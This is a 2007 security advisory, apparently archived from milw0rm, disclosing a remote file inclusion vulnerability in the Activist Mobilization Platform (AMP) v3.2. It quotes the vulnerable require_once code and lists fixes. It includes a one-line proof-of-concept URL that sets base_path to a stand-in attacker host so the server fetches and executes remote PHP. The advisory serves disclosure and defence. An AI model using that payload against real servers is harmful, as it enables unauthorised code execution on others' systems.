____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/ .OR.ID
ECHO_ADV_71$2007
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[ECHO_ADV_71$2007] AMP v3.2 (base_path) Remote File Inclusion Vulnerability
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Author : Dedi Dwianto a.k.a the_day
Date Found : March, 13th 2007
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv71-theday-2007.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Activist Mobilization Platform (AMP )
version : v3.2
URL : http://www.radicaldesigns.org
AMP is completely dynamic suite of content management tools designed with the small
non profit organization,grants roots coalition,political campaign or mass mobilization in mind.
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Vulnerability:
~~~~~~~~~~~~~
- Invalid require_once function at includes/base.php
-----------------------includes/base.php------------
....
<?php
require_once($base_path."includes/base_db.php");
require_once($base_path."includes/base_template.php");
?>
----------------------------------------------------------
Input passed to the "$base_path." parameter in base.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Proof Of Concept:
~~~~~~~~~~~~~~
http://localhost/amp-3.2/includes/base.php?base_path=http://atacker.com/inject.txt?
Solution:
~~~~~~
- Sanitize variable $base_path affected files.
- Turn off register_globals
- Upgrade to Lastest Version
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Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
EcHo Research & Development Center
http://advisories.echo.or.id
erdc[at]echo[dot]or[dot]id
the_day[at]echo[dot]or[dot]id
-------------------------------- [ EOF ]----------------------------------
# milw0rm.com [2007-03-13]
